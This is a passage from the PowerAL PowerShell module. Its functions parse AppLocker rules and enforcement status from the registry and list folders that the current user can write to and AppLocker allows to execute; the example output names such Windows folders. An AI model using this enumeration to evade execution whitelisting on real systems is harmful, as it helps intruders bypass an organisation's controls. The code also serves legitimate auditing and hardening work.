$P.BinaryName -eq $SignFileName) 212 | { 213 | Write-Verbose "Specific defined Signature rule for this binary" 214 | $TempPublisherObject | Add-Member NoteProperty Name $Parent 215 | $TempPublisherObject | Add-Member NoteProperty Publisher $SignPublisher 216 | $TempPublisherObject | Add-Member NoteProperty ProductName $SignProductName 217 | $TempPublisherObject | Add-Member NoteProperty FileName $SignFileName 218 | $TempPublisherObject | Add-Member NoteProperty Action $P.Action 219 | $Publishers += $TempPublisherObject 220 | } 221 | # Wildcard rules... 222 | if($P.PublisherName -eq "*") 223 | { 224 | Write-Verbose "* rule used in $Parent - All signed is allowed" 225 | $TempPublisherObject | Add-Member NoteProperty Name $Parent 226 | $TempPublisherObject | Add-Member NoteProperty Publisher $P.PublisherName 227 | $TempPublisherObject | Add-Member NoteProperty ProductName $P.Productname 228 | $TempPublisherObject | Add-Member NoteProperty FileName $P.Filename 229 | $TempPublisherObject | Add-Member NoteProperty Action $P.Action 230 | $Publishers += $TempPublisherObject 231 | } 232 | } 233 | } 234 | } 235 | } 236 | 237 | foreach($pubr in $Publishers) 238 | { 239 | #Only check relevant rules compared to filetype 240 | #Exe rules for exe files. 241 | if($pubr.name -eq $FileType) 242 | { 243 | if($pubr.action -eq "Allow") 244 | { 245 | $Status = "Allow" 246 | } 247 | if($pubr.action -eq "Deny") 248 | { 249 | #Explicit deny - return Deny and exit 250 | Write-Verbose $pubr 251 | return "Deny" 252 | } 253 | } 254 | } 255 | 256 | #Check exceptions 257 | foreach($exc in $Exceptions) 258 | { 259 | if($exc.PublisherName -eq $SignPublisher -or $exc.ProductName -eq $SignProductName -or $exc.BinaryName -eq $SignFileName) 260 | { 261 | #Explicit deny 262 | Write-Verbose "Denied by exception" 263 | write-verbose $exc 264 | return "Deny" 265 | } 266 | } 267 | if($Status) 268 | { 269 | return $Status 270 | } 271 | else 272 | { 273 | return "Deny" 274 | } 275 | } 276 | Catch 277 | { 278 | Write-Error $_ 279 | } 280 | Finally{} 281 | } 282 | } -------------------------------------------------------------------------------- /PowerAL/Functions/Get-PALRuleSectionStatus.ps1: -------------------------------------------------------------------------------- 1 | function Get-PALRuleSectionStatus 2 | { 3 | <# 4 | .SYNOPSIS 5 | 6 | Returns current status on the local machine of the AppLocker rule sections. 7 | 8 | Author: @oddvarmoe 9 | License: BSD 3-Clause 10 | Required Dependencies: None 11 | Optional Dependencies: None 12 | 13 | .DESCRIPTION 14 | 15 | Will check against local registry to figure out what status the different AppLocker rule sections is at for the applied AppLocker policy. 16 | Status can be either "Not Configured", "Enforced" or "Auditing" 17 | 18 | .EXAMPLE 19 | 20 | PS C:\> Get-PALRuleSectionStatus 21 | 22 | Name Status 23 | ---- ------ 24 | Appx Enforced 25 | Dll Enforced 26 | Exe Enforced 27 | Msi Auditing 28 | Script Not configured 29 | #> 30 | 31 | # Function Version: 1.0 32 | 33 | [CmdletBinding()] Param () 34 | Process 35 | { 36 | Try 37 | { 38 | $OutArray = @() 39 | 40 | $RuleTypes = @("Appx","Dll","Exe","Msi","Script") 41 | foreach($RuleType in $RuleTypes) 42 | { 43 | $Out = New-Object PSObject 44 | $RegPath = "HKLM:\SOFTWARE\Policies\Microsoft\Windows\SrpV2\$RuleType" 45 | 46 | # EnforcementMode missing = Not configured 47 | # EnforcementMode 0 = Audit mode 48 | # EnforcementMode 1 = Enforced 49 | $RuleStatus = Get-ItemProperty -Path $RegPath -Name "EnforcementMode" -ErrorAction SilentlyContinue 50 | If (($RuleStatus -ne $null) -and ($RuleStatus.Length -ne 0)) { 51 | $EnforcementMode = (Get-ItemProperty -path $RegPath -Name "EnforcementMode").EnforcementMode 52 | 53 | If($EnforcementMode -eq "1") 54 | { 55 | $Result = "Enforced" 56 | } 57 | elseif($EnforcementMode -eq "0") 58 | { 59 | $Result = "Audit" 60 | } 61 | } 62 | else 63 | { 64 | $Result = "NotConfigured" 65 | } 66 | 67 | $Out | Add-Member Noteproperty -name "Name" $RuleType 68 | $Out | Add-Member Noteproperty -name "Status" $Result 69 | $OutArray += $Out 70 | } 71 | return $OutArray 72 | } 73 | Catch 74 | { 75 | write-error $_ 76 | } 77 | Finally{} 78 | } 79 | } -------------------------------------------------------------------------------- /PowerAL/Functions/Get-PALRules.ps1: -------------------------------------------------------------------------------- 1 | function Get-PALRules 2 | { 3 | <# 4 | .SYNOPSIS 5 | 6 | The function Get-PALRules returns the AppLocker rules as an object that is current on the local machine from the registry. 7 | AppLocker rules are written to registry. 8 | 9 | 10 | Author: @oddvarmoe 11 | License: BSD 3-Clause 12 | Required Dependencies: Expand-PALPaths 13 | Optional Dependencies: None 14 | 15 | .DESCRIPTION 16 | 17 | Will check against local registry under HKLM:\SOFTWARE\Policies\Microsoft\Windows\SrpV2\ to find the AppLocker rules. 18 | Rules are stored as XML in the registry, the function converts it to an object before it returns it. The function also supports to export the rules to an xml 19 | that can be extracted and viewed offline 20 | 21 | .PARAMETER OutputRules 22 | 23 | The type of rules you want to get. Default is "All". 24 | Can be "All","Path","Publisher","Hash" 25 | 26 | .PARAMETER RuleActions 27 | 28 | What sort of rules you want. Default is "All" 29 | Can be "All","Allow","Deny" 30 | 31 | .PARAMETER RuleSection 32 | 33 | What sort of section you want the rules for. Default is "All 34 | Can be "All","Dll","Exe","Script","Appx","Msi" 35 | 36 | .PARAMETER SID 37 | 38 | The SID you want to get the rules for. 39 | Default is S-1-1-0. (Admin rules will not show up default as a consequence of that.) 40 | If you want all you can supply * 41 | List of well-known SIDs can be found here: https://support.microsoft.com/en-au/help/243330/well-known-security-identifiers-in-windows-operating-systems 42 | 43 | .PARAMETER XML 44 | 45 | Switch. Returns output in XML format instead of Powershell objects. This makes it possible to export the data. 46 | Note that it is not supported to specify Outputrules, RuleActions, RuleSection or SID when using this option. 47 | The function exports all rules from the registry. 48 | 49 | .PARAMETER OfflineXML 50 | 51 | Path to OfflineXML that you have exported. 52 | This makes the function parse that file instead of the current AppLocker policy on the machine this script is running on. 53 | This function is currently now developed so it is adviced to use the Get-PALRulesNative instead for now. 54 | 55 | .EXAMPLE 56 | Gets all the AppLocker rules 57 | 58 | PS C:\> Get-PALRulesStatus 59 | 60 | Name RulesList 61 | ---- --------- 62 | Appx {@{Ruletype=FilePublisherRule; Action=Allow; SID=S-1-1-0; Description=Allows members of the Everyone group to run packaged ap... 63 | Exe {@{Ruletype=FilePathRule; Action=Deny; SID=S-1-1-0; Description=; Name=%OSDRIVE%\inetpub; Id=16d974b5-279a-49a3-92c3-42b91050... 64 | Msi {@{Ruletype=FilePathRule; Action=Allow; SID=S-1-1-0; Description=Allows members of the Everyone group to run all Windows Inst... 65 | 66 | .EXAMPLE 67 | 68 | Gets all path rules that are defined with the deny Action 69 | 70 | PS C:\> Get-PALRules -OutputRules Path -RuleActions Deny 71 | 72 | Name RulesList 73 | ---- --------- 74 | Exe {@{Ruletype=FilePathRule; Action=Deny; SID=S-1-1-0; Description=; Name=%OSDRIVE%\inetpub; Id=16d974b5-279a-49a3-92c3-42b91050... 75 | 76 | .EXAMPLE 77 | 78 | Gets all the denied path rules and shows only the paths 79 | 80 | PS C:\> (Get-PALRules -OutputRules Path -RuleActions Deny).RulesList.Path 81 | %OSDRIVE%\inetpub\* 82 | %WINDIR%\Microsoft.NET\* 83 | 84 | .EXAMPLE 85 | 86 | Gets all the publisher rules 87 | 88 | PS C:\> Get-PALRules -OutputRules Publisher 89 | 90 | Name RulesList 91 | ---- --------- 92 | Appx {@{Ruletype=FilePublisherRule; Action=Allow; SID=S-1-1-0; Description=Allows members of the Everyone group to run packaged ap... 93 | Exe {@{Ruletype=FilePublisherRule; Action=Deny; SID=S-1-1-0; Description=; Name=CIPHER.EXE, in MICROSOFT® WINDOWS® OPERATING SYST... 94 | Msi {@{Ruletype=FilePublisherRule; Action=Allow; SID=S-1-1-0; Description=Allows members of the Everyone group to run digitally s... 95 | 96 | .EXAMPLE 97 | 98 | Exports the rules to an XML file 99 | 100 | PS C:\> (Get-PALRules -XML).Save("c:\folder\Export.xml") 101 | 102 | .EXAMPLE 103 | 104 | Gets only allowed script rules. 105 | 106 | PS C:\> Get-PALRules -OutputRules All -RuleActions Deny -RuleSection Script 107 | 108 | Name RulesList 109 | ---- --------- 110 | Script {@{ParentName=Script; Ruletype=FilePathRule; Action=Deny; SID=S-1-1-0; Description=; Name=%WINDIR%\SysWOW64\Tasks\evil.exe; Id=88548f1b-4850-45d5-a551-2ab549fb0372; Path=C:\Windows\SysWOW64\Tasks\evil.exe... 111 | 112 | #> 113 | 114 | # Function Version: 0.95 115 | 116 | [CmdletBinding()] Param ( 117 | [ValidateSet("All","Path","Publisher","Hash")] 118 | [String] 119 | $OutputRules = "All", 120 | 121 | [ValidateSet("All","Allow","Deny")] 122 | [String] 123 | $RuleActions = "All", 124 | 125 | [ValidateSet("All","Appx","Dll","Exe","Msi","Script")] 126 | [String] 127 | $RuleSection = "All", 128 | 129 | [String] 130 | #S-1-1-0 = Everyone - Default 131 | #* = ALL Sids 132 | $SID = "S-1-1-0", 133 | 134 | [Switch] 135 | $ExceptionsAsDeny, 136 | 137 | [Switch] 138 | $XML, 139 | 140 | [String] 141 | $OfflineXML 142 | ) 143 | Process 144 | { 145 | Try 146 | { 147 | $RuleTypes = @("Appx","Dll","Exe","Msi","Script") 148 | 149 | If($OfflineXML) 150 | { 151 | write-error "OfflineXML not implemented yet. Still possible with Get-PALRulesNative -OfflineXML" 152 | break 153 | } 154 | 155 | If($XML) #Method to export rules from registry to a valid XML file 156 | { 157 | $TempXML = "" 158 | foreach($RuleType in $RuleTypes) 159 | { 160 | $RegPath = "HKLM:\SOFTWARE\Policies\Microsoft\Windows\SrpV2\$RuleType" 161 | $AppLockerRulesRegistry = Get-childItem -path $RegPath 162 | 163 | $HeadersAllowWindows = (Get-ItemProperty -path $RegPath -Name "AllowWindows").AllowWindows 164 | 165 | $ValueExists = Get-ItemProperty -Path $RegPath -Name "EnforcementMode" -ErrorAction SilentlyContinue 166 | If (($ValueExists -ne $null) -and ($ValueExists.Length -ne 0)) { 167 | $EnforcementMode = (Get-ItemProperty -path $RegPath -Name "EnforcementMode").EnforcementMode 168 | 169 | If($EnforcementMode -eq "1") 170 | { 171 | $HeadersEnforcementMode = "Enabled" 172 | } 173 | elseif($EnforcementMode -eq "0") 174 | { 175 | $HeadersEnforcementMode = "Audit" 176 | } 177 | } 178 | else 179 | { 180 | $HeadersEnforcementMode = "NotConfigured" 181 | } 182 | 183 | $TempXML += "" 184 | foreach($rule in $AppLockerRulesRegistry) 185 | { 186 | [XML]$RuleXML = (Get-ItemProperty -Path $rule.PSPath).value 187 | $TempXML += $RuleXML.InnerXML 188 | } 189 | #End the ruletype currently proccessing 190 | $TempXML += "" 191 | } 192 | $TempXML += "" 193 | return ([xml]$TempXML) 194 | } 195 | else 196 | { 197 | $AllRulesArray = @() 198 | if($RuleSection -ne "All") 199 | { 200 | $RuleTypes = @($RuleSection) 201 | } 202 | foreach($RuleType in $RuleTypes) 203 | { 204 | 205 | Write-Verbose "Processing $RuleType" 206 | $SectionRules = Get-childItem -path "HKLM:\SOFTWARE\Policies\Microsoft\Windows\SrpV2\$RuleType" 207 | 208 | $ParentRulesObject = New-Object PSObject 209 | $ParentRulesObject | Add-Member NoteProperty 'Name' $RuleType 210 | 211 | #Array to store objects in 212 | $RulesArray = @() 213 | 214 | foreach($rule in $SectionRules) { 215 | [XML]$XML = (Get-ItemProperty -Path $rule.PSPath).value 216 | 217 | ##Publisher rule 218 | if(($xml.FirstChild.LocalName) -eq "FilePublisherRule") 219 | { 220 | if($OutputRules -eq "Publisher" -or $OutputRules -eq "All") 221 | { 222 | if($xml.FirstChild.Action -eq $RuleActions -or $RuleActions -eq "All") 223 | { 224 | if($xml.FirstChild.UserOrGroupSid -eq $SID -or $SID -eq "*") 225 | { 226 | 227 | write-verbose "Publisher rule" 228 | $RulesObject = New-Object PSObject 229 | 230 | #Common structure for all rule types 231 | $RulesObject | Add-Member NoteProperty 'ParentName' $RuleType 232 | $RulesObject | Add-Member NoteProperty 'Ruletype' $xml.FirstChild.LocalName 233 | $RulesObject | Add-Member NoteProperty 'Action' $xml.FirstChild.Action 234 | $RulesObject | Add-Member NoteProperty 'SID' $xml.FirstChild.UserOrGroupSid 235 | $RulesObject | Add-Member NoteProperty 'Description' $xml.FirstChild.Description 236 | $RulesObject | Add-Member NoteProperty 'Name' $xml.FirstChild.Name 237 | $RulesObject | Add-Member NoteProperty 'Id' $xml.FirstChild.Id 238 | 239 | #Special Publisher attributes 240 | $RulesObject | Add-Member NoteProperty 'PublisherName' $xml.FilePublisherRule.Conditions.FilePublisherCondition.PublisherName 241 | $RulesObject | Add-Member NoteProperty 'Productname' $xml.FilePublisherRule.Conditions.FilePublisherCondition.ProductName 242 | $RulesObject | Add-Member NoteProperty 'BinaryName' $xml.FilePublisherRule.Conditions.FilePublisherCondition.BinaryName 243 | $RulesObject | Add-Member NoteProperty 'LowSection' $xml.FilePublisherRule.Conditions.FilePublisherCondition.BinaryVersionRange.LowSection 244 | $RulesObject | Add-Member NoteProperty 'HighSection' $xml.FilePublisherRule.Conditions.FilePublisherCondition.BinaryVersionRange.HighSection 245 | 246 | #Exceptions 247 | if($xml.FirstChild.Exceptions.FilePathCondition) 248 | { 249 | $RealExceptionsPath = Expand-PALPath -Path $($xml.FirstChild.Exceptions.FilePathCondition.Path) 250 | $RulesObject | Add-Member NoteProperty 'PathExceptions' $RealExceptionsPath 251 | $RulesObject | Add-Member NoteProperty 'RulePathExceptions' $xml.FirstChild.Exceptions.FilePathCondition.Path 252 | } 253 | if($xml.FirstChild.Exceptions.FileHashCondition) 254 | { 255 | $RulesObject | Add-Member NoteProperty 'HashExceptions' $xml.FirstChild.Exceptions.FileHashCondition 256 | } 257 | if($xml.FirstChild.Exceptions.FilePublisherCondition) 258 | { 259 | $RulesObject | Add-Member NoteProperty 'PublisherExceptions' $xml.FirstChild.Exceptions.FilePublisherCondition 260 | } 261 | 262 | $RulesArray += $RulesObject 263 | } 264 | } 265 | } 266 | } 267 | 268 | ##File hash rule 269 | if(($xml.FirstChild.LocalName) -eq "FileHashRule") 270 | { 271 | if($OutputRules -eq "Hash" -or $OutputRules -eq "All") 272 | { 273 | if($xml.FirstChild.Action -eq $RuleActions -or $RuleActions -eq "All") 274 | { 275 | if($xml.FirstChild.UserOrGroupSid -eq $SID -or $SID -eq "*") 276 | { 277 | write-verbose "Hash rule" 278 | $RulesObject = New-Object PSObject 279 | 280 | #Common structure for all rule types 281 | $RulesObject | Add-Member NoteProperty 'ParentName' $RuleType 282 | $RulesObject | Add-Member NoteProperty 'Ruletype' $xml.FirstChild.LocalName 283 | $RulesObject | Add-Member NoteProperty 'Action' $xml.FirstChild.Action 284 | $RulesObject | Add-Member NoteProperty 'SID' $xml.FirstChild.UserOrGroupSid 285 | $RulesObject | Add-Member NoteProperty 'Description' $xml.FirstChild.Description 286 | $RulesObject | Add-Member NoteProperty 'Name' $xml.FirstChild.Name 287 | $RulesObject | Add-Member NoteProperty 'Id' $xml.FirstChild.Id 288 | 289 | #Special Hash attributes 290 | $RulesObject | Add-Member NoteProperty 'HashType' $xml.FileHashRule.Conditions.FileHashCondition.FileHash.Type 291 | $RulesObject | Add-Member NoteProperty 'Hash' $xml.FileHashRule.Conditions.FileHashCondition.FileHash.Hash 292 | $RulesObject | Add-Member NoteProperty 'Filename' $xml.FileHashRule.Conditions.FileHashCondition.FileHash.SourceFileName 293 | $RulesObject | Add-Member NoteProperty 'Sourcefile Length' $xml.FileHashRule.Conditions.FileHashCondition.FileHash.SourceFileLength 294 | 295 | #Exceptions 296 | if($xml.FirstChild.Exceptions.FilePathCondition) 297 | { 298 | $RealExceptionsPath = Expand-PALPath -Path $($xml.FirstChild.Exceptions.FilePathCondition.Path) 299 | $RulesObject | Add-Member NoteProperty 'PathExceptions' $RealExceptionsPath 300 | $RulesObject | Add-Member NoteProperty 'RulePathExceptions' $xml.FirstChild.Exceptions.FilePathCondition.Path 301 | } 302 | if($xml.FirstChild.Exceptions.FileHashCondition) 303 | { 304 | $RulesObject | Add-Member NoteProperty 'HashExceptions' $xml.FirstChild.Exceptions.FileHashCondition 305 | } 306 | if($xml.FirstChild.Exceptions.FilePublisherCondition) 307 | { 308 | $RulesObject | Add-Member NoteProperty 'PublisherExceptions' $xml.FirstChild.Exceptions.FilePublisherCondition 309 | } 310 | 311 | $RulesArray += $RulesObject 312 | } 313 | } 314 | } 315 | } 316 | 317 | ##Path rule 318 | if(($xml.FirstChild.LocalName) -eq "FilePathRule") 319 | { 320 | if($OutputRules -eq "Path" -or $OutputRules -eq "All") 321 | { 322 | ## TEST CODE 323 | if($ExceptionsAsDeny) 324 | { 325 | if($xml.FirstChild.UserOrGroupSid -eq $SID -or $SID -eq "*") 326 | { 327 | #Exceptions 328 | if($xml.FirstChild.Exceptions.FilePathCondition) 329 | { 330 | foreach($Exception in $xml.FirstChild.Exceptions.FilePathCondition) 331 | { 332 | $ExceptionPath = Expand-PALPath -Path $($Exception.Path) 333 | $RulesObject = New-Object PSObject 334 | 335 | #Common structure for all rule types 336 | $RulesObject | Add-Member NoteProperty 'ParentName' $RuleType 337 | $RulesObject | Add-Member NoteProperty 'Ruletype' $xml.FirstChild.LocalName 338 | $RulesObject | Add-Member NoteProperty 'Action' 'Deny' 339 | $RulesObject | Add-Member NoteProperty 'SID' $xml.FirstChild.UserOrGroupSid 340 | $RulesObject | Add-Member NoteProperty 'Description' $xml.FirstChild.Description 341 | $RulesObject | Add-Member NoteProperty 'Name' $xml.FirstChild.Name 342 | $RulesObject | Add-Member NoteProperty 'Id' $xml.FirstChild.Id 343 | 344 | #Special Path attributes 345 | $RulesObject | Add-Member NoteProperty 'Path' $ExceptionPath 346 | $RulesObject | Add-Member NoteProperty 'RulePath' $Exception.Path 347 | 348 | $RulesArray += $RulesObject 349 | } 350 | } 351 | } 352 | } 353 | 354 | if($xml.FirstChild.Action -eq $RuleActions -or $RuleActions -eq "All") 355 | { 356 | $RealPath = Expand-PALPath -Path $($xml.FirstChild.Conditions.FilePathCondition.Path) 357 | if($xml.FirstChild.UserOrGroupSid -eq $SID -or $SID -eq "*") 358 | { 359 | write-verbose "Path rule" 360 | foreach($Path in $RealPath) 361 | { 362 | $RulesObject = New-Object PSObject 363 | 364 | #Common structure for all rule types 365 | $RulesObject | Add-Member NoteProperty 'ParentName' $RuleType 366 | $RulesObject | Add-Member NoteProperty 'Ruletype' $xml.FirstChild.LocalName 367 | $RulesObject | Add-Member NoteProperty 'Action' $xml.FirstChild.Action 368 | $RulesObject | Add-Member NoteProperty 'SID' $xml.FirstChild.UserOrGroupSid 369 | $RulesObject | Add-Member NoteProperty 'Description' $xml.FirstChild.Description 370 | $RulesObject | Add-Member NoteProperty 'Name' $xml.FirstChild.Name 371 | $RulesObject | Add-Member NoteProperty 'Id' $xml.FirstChild.Id 372 | 373 | #Special Path attributes 374 | $RulesObject | Add-Member NoteProperty 'Path' $Path 375 | $RulesObject | Add-Member NoteProperty 'RulePath' $xml.FilePathRule.Conditions.FilePathCondition.Path 376 | 377 | #Exceptions 378 | if(!($ExceptionsAsDeny)) 379 | { 380 | if($xml.FirstChild.Exceptions.FilePathCondition) 381 | { 382 | $RealExceptionsPath = Expand-PALPath -Path $($xml.FirstChild.Exceptions.FilePathCondition.Path) 383 | $RulesObject | Add-Member NoteProperty 'PathExceptions' $RealExceptionsPath 384 | $RulesObject | Add-Member NoteProperty 'RulePathExceptions' $xml.FirstChild.Exceptions.FilePathCondition.Path 385 | } 386 | if($xml.FirstChild.Exceptions.FileHashCondition) 387 | { 388 | $RulesObject | Add-Member NoteProperty 'HashExceptions' $xml.FirstChild.Exceptions.FileHashCondition 389 | } 390 | if($xml.FirstChild.Exceptions.FilePublisherCondition) 391 | { 392 | $RulesObject | Add-Member NoteProperty 'PublisherExceptions' $xml.FirstChild.Exceptions.FilePublisherCondition 393 | } 394 | } 395 | 396 | $RulesArray += $RulesObject 397 | } 398 | } 399 | } 400 | } 401 | } 402 | } 403 | 404 | # Only add to object if rules are found 405 | if($RulesArray) { 406 | $ParentRulesObject | Add-Member NoteProperty -Name RulesList -Value $RulesArray 407 | $AllRulesarray += $ParentRulesObject 408 | } 409 | } 410 | 411 | if($AllRulesArray) 412 | { 413 | return $AllRulesArray 414 | } 415 | } 416 | 417 | } 418 | Catch 419 | { 420 | Write-Error $_ 421 | } 422 | Finally{} 423 | } 424 | } -------------------------------------------------------------------------------- /PowerAL/Functions/Get-PALRulesNative.ps1: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/api0cradle/PowerAL/c903fdead4ce2fe127313a76078ce3b484cae3c3/PowerAL/Functions/Get-PALRulesNative.ps1 -------------------------------------------------------------------------------- /PowerAL/Functions/Get-PALServiceStatus.ps1: -------------------------------------------------------------------------------- 1 | function Get-PALServiceStatus 2 | { 3 | <# 4 | .SYNOPSIS 5 | 6 | Returns the status on the Application Identity (AppIDSVC) service from the local machine. 7 | 8 | Author: @oddvarmoe 9 | License: BSD 3-Clause 10 | Required Dependencies: Get-Process 11 | Optional Dependencies: None 12 | 13 | .DESCRIPTION 14 | 15 | Checks the Application Identity service status using the get-service cmdlet. 16 | Outputs: Name,Status,StartType 17 | 18 | .EXAMPLE 19 | 20 | PS C:\> Get-PALServiceStatus 21 | 22 | Name Status StartType 23 | ---- ------ --------- 24 | AppIDSvc Stopped Manual 25 | #> 26 | 27 | # Function Version: 0.90 28 | 29 | [CmdletBinding()] Param () 30 | Process 31 | { 32 | Try 33 | { 34 | $Out = Get-Service -Name AppIDSvc 35 | return $Out | Select-Object Name,Status,StartType 36 | } 37 | Catch 38 | { 39 | Write-Error $_ 40 | } 41 | Finally{} 42 | } 43 | } -------------------------------------------------------------------------------- /PowerAL/Functions/Get-PALWriteableAllowedPaths.ps1: -------------------------------------------------------------------------------- 1 | function Get-PALWriteableAllowedPaths 2 | { 3 | <# 4 | .SYNOPSIS 5 | 6 | Lists paths that are allowed for execution that the current user can write to or create. Currently does not handle Exceptions that are defined in rules, only explicit deny rules. 7 | 8 | Author: @oddvarmoe 9 | License: BSD 3-Clause 10 | Required Dependencies: Get-PALWriteablePaths, Get-PALRules 11 | Optional Dependencies: None 12 | 13 | .DESCRIPTION 14 | 15 | Retrieves the path from all the allowed AppLocker path rules and checks the paths against Get-PALWriteablePaths. 16 | It will also remove paths that are explicit denied. 17 | Outputs: Name,Path 18 | 19 | .PARAMETER Rerun 20 | When this switch is used it will rerun the Get-PALWriteablePaths and give fresh results stored 21 | in the Global variable WriteablePaths 22 | 23 | .PARAMETER RuleSection 24 | What sort of section you want the rules for. Default is "All 25 | Can be "All","Dll","Exe","Script","Appx","Msi". This Parameter is passed to the Get-PALRules. 26 | 27 | 28 | .EXAMPLE 29 | 30 | PS C:\> Get-PALWriteableAllowedPaths 31 | 32 | Name Path 33 | ---- ---- 34 | Exe C:\Windows\Tasks 35 | Exe C:\Windows\Temp 36 | Exe C:\Windows\tracing 37 | Exe C:\Windows\Registration\CRMLog 38 | Exe C:\Windows\System32\FxsTmp 39 | Exe C:\Windows\System32\Tasks 40 | Exe C:\Windows\System32\com\dmp 41 | Exe C:\Windows\System32\Microsoft\Crypto\RSA\MachineKeys 42 | Exe C:\Windows\System32\spool\PRINTERS 43 | Exe C:\Windows\System32\spool\SERVERS 44 | Exe C:\Windows\System32\spool\drivers\color 45 | Exe C:\Windows\SysWOW64\FxsTmp 46 | Exe C:\Windows\SysWOW64\Tasks 47 | Exe C:\Windows\SysWOW64\com\dmp 48 | Msi C:\Windows\Tasks 49 | Msi C:\Windows\Temp 50 | Msi C:\Windows\tracing 51 | Msi C:\Windows\Registration\CRMLog 52 | Msi C:\Windows\System32\FxsTmp 53 | Msi C:\Windows\System32\Tasks 54 | Msi C:\Windows\System32\com\dmp 55 | Msi C:\Windows\System32\Microsoft\Crypto\RSA\MachineKeys 56 | Msi C:\Windows\System32\spool\PRINTERS 57 | Msi C:\Windows\System32\spool\SERVERS 58 | Msi C:\Windows\System32\spool\drivers\color 59 | Msi C:\Windows\SysWOW64\FxsTmp 60 | Msi C:\Windows\SysWOW64\Tasks 61 | Msi C:\Windows\SysWOW64\com\dmp 62 | Script C:\Windows\Tasks 63 | Script C:\Windows\Temp 64 | Script C:\Windows\tracing 65 | Script C:\Windows\Registration\CRMLog 66 | Script C:\Windows\System32\FxsTmp 67 | Script C:\Windows\System32\Tasks 68 | Script C:\Windows\System32\com\dmp 69 | Script C:\Windows\System32\Microsoft\Crypto\RSA\MachineKeys 70 | Script C:\Windows\System32\spool\PRINTERS 71 | Script C:\Windows\System32\spool\SERVERS 72 | Script C:\Windows\System32\spool\drivers\color 73 | Script C:\Windows\SysWOW64\FxsTmp 74 | Script C:\Windows\SysWOW64\Tasks 75 | Script C:\Windows\SysWOW64\com\dmp 76 | #> 77 | 78 | # Function Version: 0.95 79 | 80 | [CmdletBinding()] Param ( 81 | [Switch] 82 | $Rerun, 83 | 84 | [ValidateSet("All","Appx","Dll","Exe","Msi","Script")] 85 | [String] 86 | $RuleSection = "All" 87 | ) 88 | Process 89 | { 90 | Try 91 | { 92 | $PathArray = @() 93 | $FinaleArray = @() 94 | 95 | $AllAppLockerRules = Get-PALRules -OutputRules Path -RuleActions Allow -RuleSection $RuleSection 96 | 97 | $AllPaths = "C:\" 98 | # Check if global variable exist. If it does, WriteablePaths has been runned. 99 | if(!($WriteablePaths)) 100 | { 101 | Get-PALWriteablepaths -Path $AllPaths -ErrorAction SilentlyContinue 102 | } 103 | 104 | if($Rerun) 105 | { 106 | Get-PALWriteablepaths -Path $AllPaths -Rerun -ErrorAction SilentlyContinue 107 | } 108 | 109 | 110 | #Loop through each section DLL,EXE++ 111 | foreach($SectionRules in $AllAppLockerRules) 112 | { 113 | # Fresh empty array for each section 114 | $AllowedPathsArray = @() 115 | 116 | #Loop through each rule in the section 117 | foreach($Rule in $SectionRules.RulesList) 118 | { 119 | # Expand the AppLocker path variables into real paths 120 | $Paths = Expand-PALPath -Path $Rule.RulePath 121 | foreach($Path in $Paths) 122 | { 123 | 124 | if($Path -match "\.\w{2,4}$") 125 | #File 126 | { 127 | } 128 | else 129 | #Folder 130 | { 131 | #Loop through all writeable paths to see if there is a match. Add to list if there is. 132 | #Compare using tolower and normalized paths 133 | foreach($Wpath in $WriteablePaths) 134 | { 135 | if($(Join-Path -Path $($Wpath.ToLower()) -ChildPath $null) -like "$(Join-Path -Path $($Path.ToLower()) -ChildPath $null)*") 136 | { 137 | # Only add if it is not in the array already 138 | if($AllowedPathsArray -notcontains $Wpath) 139 | { 140 | $AllowedPathsArray += $Wpath 141 | } 142 | } 143 | } 144 | } 145 | } 146 | } 147 | 148 | foreach($AllowedPath in $AllowedPathsArray) 149 | { 150 | $RuObject = New-Object PSObject 151 | $RuObject | Add-Member NoteProperty Name $SectionRules.Name 152 | $RuObject | Add-Member NoteProperty Path $AllowedPath 153 | $PathArray += $RuObject 154 | } 155 | 156 | } 157 | 158 | # Remove deny rules from the PathArray array 159 | $DenyRules = Get-PALRules -OutputRules Path -RuleActions Deny -RuleSection $RuleSection -ExceptionsAsDeny 160 | 161 | # Check if Deny rules are present 162 | if($DenyRules) 163 | { 164 | foreach($PathObj in $PathArray) 165 | { 166 | $Add = $true 167 | foreach($DRP in $DenyRules[($DenyRules.Name.IndexOf($($PathObj.Name)))].ruleslist.path) 168 | { 169 | $diff = $($PathObj.path) 170 | if($(join-path -path $diff -ChildPath $null) -like "*$(join-path -path $drp -ChildPath $null)*") 171 | { 172 | #Dont add, because it is a deny rule 173 | $Add = $false 174 | 175 | } 176 | } 177 | 178 | if($Add) 179 | { 180 | $FinaleArray += $PathObj 181 | } 182 | } 183 | return $FinaleArray 184 | } 185 | else 186 | { 187 | #No deny rules - return patharray instead 188 | if($PathArray) 189 | { 190 | return $PathArray 191 | } 192 | else 193 | { 194 | Write-Verbose "No possible paths found - returning null" 195 | return $null 196 | } 197 | } 198 | } 199 | Catch 200 | { 201 | write-error $_ 202 | } 203 | Finally{} 204 | } 205 | } -------------------------------------------------------------------------------- /PowerAL/Functions/Get-PALWriteablePaths.ps1: -------------------------------------------------------------------------------- 1 | function Get-PALWriteablePaths 2 | { 3 | <# 4 | .SYNOPSIS 5 | 6 | Lists paths that are writeable for the current user. 7 | This function can be noisy since it creates a temporary file in every directory to verify write access. 8 | It will only test for folders and will not list files with modify rights that are present on the system. 9 | 10 | Author: @oddvarmoe 11 | License: BSD 3-Clause 12 | Required Dependencies: None 13 | Optional Dependencies: ICACLS.exe 14 | 15 | .DESCRIPTION 16 | 17 | Checks the path and all subdirs for writeable access by creating a temporary file to the dir and deleting it. 18 | Outputs: Path 19 | 20 | .EXAMPLE 21 | 22 | PS C:\> Get-PALWriteablepaths -Path "C:\windows" 23 | 24 | C:\windows\Tasks 25 | C:\windows\Temp 26 | C:\windows\tracing 27 | C:\windows\Registration\CRMLog 28 | C:\windows\System32\FxsTmp 29 | C:\windows\System32\Tasks 30 | C:\windows\System32\com\dmp 31 | C:\windows\System32\Microsoft\Crypto\RSA\MachineKeys 32 | C:\windows\System32\spool\PRINTERS 33 | C:\windows\System32\spool\SERVERS 34 | C:\windows\System32\spool\drivers\color 35 | C:\windows\SysWOW64\FxsTmp 36 | C:\windows\SysWOW64\Tasks 37 | C:\windows\SysWOW64\com\dmp 38 | #> 39 | 40 | # Function Version: 1.00 41 | 42 | [CmdletBinding()] Param( 43 | [Parameter(Mandatory=$true)] 44 | [String] 45 | $Path, 46 | 47 | [Switch] 48 | $Rerun 49 | ) 50 | begin 51 | { 52 | if($Rerun) 53 | { 54 | Write-Verbose "Rerun specified, setting global arrays to null" 55 | $ScannedPaths = $null 56 | $WriteablePaths = 